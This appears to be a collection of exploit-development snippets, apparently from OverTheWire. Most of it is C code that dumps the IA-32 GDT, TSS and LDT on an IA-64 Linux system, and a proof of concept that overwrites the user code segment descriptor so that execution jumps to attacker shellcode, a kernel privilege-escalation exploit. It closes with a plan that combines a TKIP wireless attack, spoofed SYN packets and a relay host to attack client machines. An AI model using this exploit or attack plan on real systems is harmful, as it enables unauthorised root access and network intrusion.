OverTheWire

trigger_str = generate_potential_trigger_string()
start = time.time()
skt.send(trigger_str)
rlist, wlist, xlist = select.select([skt], [], [skt], 1.0)
stop = time.time()
difference = stop - start

/*
 * Map GDT below 4GB, where the processor can find it.  We need to map
 * it with privilege level 3 because the IVE uses non-privileged accesses to these
 * tables.  IA-32 segmentation is used to protect against IA-32 accesses to them.
 */

#define IA32_STACK_TOP          IA32_PAGE_OFFSET
#define IA32_GATE_OFFSET        IA32_PAGE_OFFSET
#define IA32_GATE_END           IA32_PAGE_OFFSET + PAGE_SIZE

/*
 * The system segments (GDT, TSS, LDT) have to be mapped below 4GB so the
 * IA-32 engine can
 * access them.
 */
#define IA32_GDT_OFFSET         (IA32_PAGE_OFFSET + PAGE_SIZE)
#define IA32_TSS_OFFSET         (IA32_PAGE_OFFSET + 2*PAGE_SIZE)
#define IA32_LDT_OFFSET         (IA32_PAGE_OFFSET + 3*PAGE_SIZE)

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/ldt.h>
#include <stdio.h>

#define TYPE user_desc // modify_ldt_ldt_s for 2.4

int do_ldt(int num, unsigned long base, int type)
{
        struct TYPE ldt_entry = {
                num, // entry_number
                (unsigned long int) (base), // base_address
                0xfffff, // limit, 4G
                1, // seg_32bit
                type, // contents
                0, // read_exec_only
                1, // limit_in_pages
                0, // seg_not_present
                1 // usable
        };
        return modify_ldt(1, &ldt_entry, sizeof(struct TYPE)) == 0;
}

int main(int argc, char **argv)
{
        if(do_ldt(0, 0, MODIFY_LDT_CONTENTS_DATA) == 0) {
                printf("Failed to modify the ldt\n");
                exit(EXIT_FAILURE);
        }
        // the new segment will be accessible via 0x07, (0 * 8) | user priv | ldt etc.
        __asm__ volatile("pushw $7;\
                          popw %ds;");
        printf("We've changed our ds segment descriptor\n");
}

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>

#define PAGE_SIZE               4096
#define IA32_PAGE_OFFSET        0xc0000000
//#define IA32_PAGE_OFFSET      (x == 0 ? x = malloc(4 * 4096) : x)
#define IA32_STACK_TOP          IA32_PAGE_OFFSET
#define IA32_GATE_OFFSET        IA32_PAGE_OFFSET
#define IA32_GATE_END           IA32_PAGE_OFFSET + PAGE_SIZE
#define IA32_GDT_OFFSET         (IA32_PAGE_OFFSET + PAGE_SIZE)
#define IA32_TSS_OFFSET         (IA32_PAGE_OFFSET + 2*PAGE_SIZE)
#define IA32_LDT_OFFSET         (IA32_PAGE_OFFSET + 3*PAGE_SIZE)

unsigned char *x;

int main(int argc, char **argv)
{
        int fd;

        fd = open("gdt.bin", O_WRONLY|O_TRUNC|O_CREAT, 0600);
        if(fd == -1) {
                printf("Failed to open gdt.bin: %m\n");
                exit(EXIT_FAILURE);
        }
        if(write(fd, IA32_GDT_OFFSET, 4096) != 4096) {
                printf("Failed to write() 4096 bytes\n");
                exit(EXIT_FAILURE);
        }
        close(fd);
        printf("Dumped GDT\n");

        fd = open("tss.bin", O_WRONLY|O_TRUNC|O_CREAT, 0600);
        if(fd == -1) {
                printf("Failed to open tss.bin: %m\n");
                exit(EXIT_FAILURE);
        }
        if(write(fd, IA32_TSS_OFFSET, 4096) != 4096) {
                printf("Failed to write() 4096 bytes\n");
                exit(EXIT_FAILURE);
        }
        close(fd);
        printf("Dumped TSS\n");

        fd = open("ldt.bin", O_WRONLY|O_TRUNC|O_CREAT, 0600);
        if(fd == -1) {
                printf("Failed to open ldt.bin: %m\n");
                exit(EXIT_FAILURE);
        }
        if(write(fd, IA32_LDT_OFFSET, 4096) != 4096) {
                printf("Failed to write() 4096 bytes\n");
                exit(EXIT_FAILURE);
        }
        close(fd);
        printf("Dumped LDT\n");
}

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>

#define PAGE_SIZE               4096
#define IA32_PAGE_OFFSET        0xc0000000
//#define IA32_PAGE_OFFSET      (x == 0 ? x = malloc(4 * 4096) : x)
#define IA32_STACK_TOP          IA32_PAGE_OFFSET
#define IA32_GATE_OFFSET        IA32_PAGE_OFFSET
#define IA32_GATE_END           IA32_PAGE_OFFSET + PAGE_SIZE
#define IA32_GDT_OFFSET         (IA32_PAGE_OFFSET + PAGE_SIZE)
#define IA32_TSS_OFFSET         (IA32_PAGE_OFFSET + 2*PAGE_SIZE)
#define IA32_LDT_OFFSET         (IA32_PAGE_OFFSET + 3*PAGE_SIZE)

#define __USER_CS      0x23
#define __USER_DS      0x2B


unsigned char *x;

/* borrowed from arch/ia64/ia32/ia32priv.h */

#define IA32_PAGE_SHIFT                        12      /* 4KB pages */

#define __USER_CS      0x23
#define __USER_DS      0x2B

#define IA32_SEG_BASE           16
#define IA32_SEG_TYPE           40
#define IA32_SEG_SYS            44
#define IA32_SEG_DPL            45
#define IA32_SEG_P              47
#define IA32_SEG_HIGH_LIMIT     48
#define IA32_SEG_AVL            52
#define IA32_SEG_DB             54
#define IA32_SEG_G              55
#define IA32_SEG_HIGH_BASE      56

#define IA32_SEG_DESCRIPTOR(base, limit, segtype, nonsysseg, dpl, segpresent, avl, segdb, gran) \
               (((limit) & 0xffff)                                                              \
                | (((unsigned long) (base) & 0xffffff) << IA32_SEG_BASE)                        \
                | ((unsigned long) (segtype) << IA32_SEG_TYPE)                                  \
                | ((unsigned long) (nonsysseg) << IA32_SEG_SYS)                                 \
                | ((unsigned long) (dpl) << IA32_SEG_DPL)                                       \
                | ((unsigned long) (segpresent) << IA32_SEG_P)                                  \
                | ((((unsigned long) (limit) >> 16) & 0xf) << IA32_SEG_HIGH_LIMIT)              \
                | ((unsigned long) (avl) << IA32_SEG_AVL)                                       \
                | ((unsigned long) (segdb) << IA32_SEG_DB)                                      \
                | ((unsigned long) (gran) << IA32_SEG_G)                                        \
                | ((((unsigned long) (base) >> 24) & 0xff) << IA32_SEG_HIGH_BASE))
/* </borrowed> */

int main(int argc, char **argv)
{
        int fd;
        unsigned char scratch[4096];
        unsigned long long *gdt = (unsigned long *)(scratch);
        unsigned long long entry_point;

        if(argc != 2) {
                printf("%s <gdt offset>\n", argv[0] ? argv[0] : ";PpP");
                printf("--> 0xbfffe000 (or wherever your r00tc0de is- <libc entry point> = offset, i think ;p\n");
                printf("--> offset probably needs to be aligned so it can be shifted\n");
                printf("--> in hex\n");
                exit(EXIT_FAILURE);
        }

        entry_point = strtoul(argv[1], 0, 16);

        fd = open("gdt.bin", O_RDWR|O_TRUNC|O_CREAT, 0600);
        unlink("gdt.bin");
        if(fd == -1) {
                printf("Failed to open gdt.bin: %m\n");
                exit(EXIT_FAILURE);
        }
        if(write(fd, IA32_GDT_OFFSET, 4096) != 4096) {
                printf("Failed to write() 4096 bytes\n");
                exit(EXIT_FAILURE);
        }
        printf("--> Dumped GDT\n");
        if(lseek(fd, 0, SEEK_SET) == (off_t)(-1)) {
                printf("Unable to seek to start of fd\n");
                exit(EXIT_FAILURE);
        }
        if(read(fd, scratch, 4096) != 4096) {
                printf("Unable to read 4096 bytes from our fd\n");
                exit(EXIT_FAILURE);
        }
        if(lseek(fd, 0, SEEK_SET) == (off_t)(-1)) {
                printf("Unable to seek to start of fd\n");
                exit(EXIT_FAILURE);
        }

        // borrowed from ia32_support.c :P, but modified
        gdt[__USER_CS >> 3] = IA32_SEG_DESCRIPTOR(entry_point, (IA32_GATE_END-1) >> IA32_PAGE_SHIFT,
                0xb, 1, 3, 1, 1, 1, 1);

        if(write(fd, scratch, 4096) != 4096) {
                printf("Unable to write modified data back\n");
                exit(EXIT_FAILURE);
        }
        if(lseek(fd, 0, SEEK_SET) == (off_t)(-1)) {
                printf("Unable to seek backwards\n");
                exit(EXIT_FAILURE);
        }
        printf("--> If things go well, then this should crash once read() returns to userspace. If not, hmm! maybe we moved to another processor afterwards or so?\n");
        if(read(fd, IA32_GDT_OFFSET, 4096) != 4096) {
                printf("Failed to read() 4096 bytes :(\n");
                exit(EXIT_FAILURE);
        }
        printf("Hrm. It worked. but it hasn't crashed. Maybe re-run a couple of times? Maybe I've missed something?\n");
        close(fd);

}

Wireless attacker -> Does TKIP attack, can send some packets to client machine
Wireless attacker -> Sends SYN packets to client machine on "common"
                     vulnerable ports (139/445/80/23/etc), with source IP of
                     an internet machine we control
Internet Machine -> Looks for SYN|ACK packets, if found, sets up a suitable
                    UIP connection structure, and fixes up the seq/ack
                    numbers. Machine then creates a local socket, and buffers
                    the data between local socket, and UIP connection to the
                    attacked machine.
Wireless attacker -> Can then attack the client machine with a bunch of
                     standard exploits